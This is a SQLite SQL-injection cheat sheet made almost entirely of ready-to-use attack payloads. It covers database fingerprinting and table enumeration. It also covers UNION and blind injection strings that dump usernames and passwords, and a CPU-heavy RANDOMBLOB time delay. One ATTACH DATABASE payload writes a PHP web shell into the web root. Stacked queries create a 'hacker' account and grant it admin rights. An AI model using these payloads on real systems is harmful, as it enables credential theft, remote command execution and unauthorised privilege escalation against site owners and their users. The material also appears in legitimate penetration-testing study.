Cheat Sheet — SQLite

SELECT sqlite_version()
-- Comment: -- or /* */
-- String concat: 'a'||'b'
-- No user system, no privileges

SELECT sqlite_version()
SELECT typeof(1)                         -- Confirm SQLite

SELECT name FROM sqlite_master WHERE type='table'
SELECT group_concat(name) FROM sqlite_master WHERE type='table'
SELECT sql FROM sqlite_master WHERE type='table'     -- Shows CREATE TABLE

SELECT sql FROM sqlite_master WHERE type='table' AND name='users'
PRAGMA table_info(users)

SELECT group_concat(username||':'||password, char(10)) FROM users
SELECT username||':'||password FROM users

CASE WHEN condition THEN true_val ELSE false_val END
IIF(condition, true_val, false_val)        -- 3.32+

-- Heavy computation
AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000))))

-- Adjust RANDOMBLOB size for delay length

AND 1=CAST((SELECT group_concat(name) FROM sqlite_master) AS int)

' UNION SELECT 1,2,3-- -
' UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- -
' UNION SELECT 1,group_concat(username||':'||password),3 FROM users-- -

'; ATTACH DATABASE '/var/www/html/shell.php' AS pwn; CREATE TABLE pwn.cmd (data text); INSERT INTO pwn.cmd VALUES ('<?php system($_GET["cmd"]); ?>');-- -

' AND SUBSTR((SELECT name FROM sqlite_master LIMIT 1),1,1)='u'-- -
' AND UNICODE(SUBSTR((SELECT name FROM sqlite_master LIMIT 1),1,1))>100-- -

'; INSERT INTO users VALUES ('hacker','pass');-- -
'; UPDATE users SET role='admin' WHERE username='hacker';-- -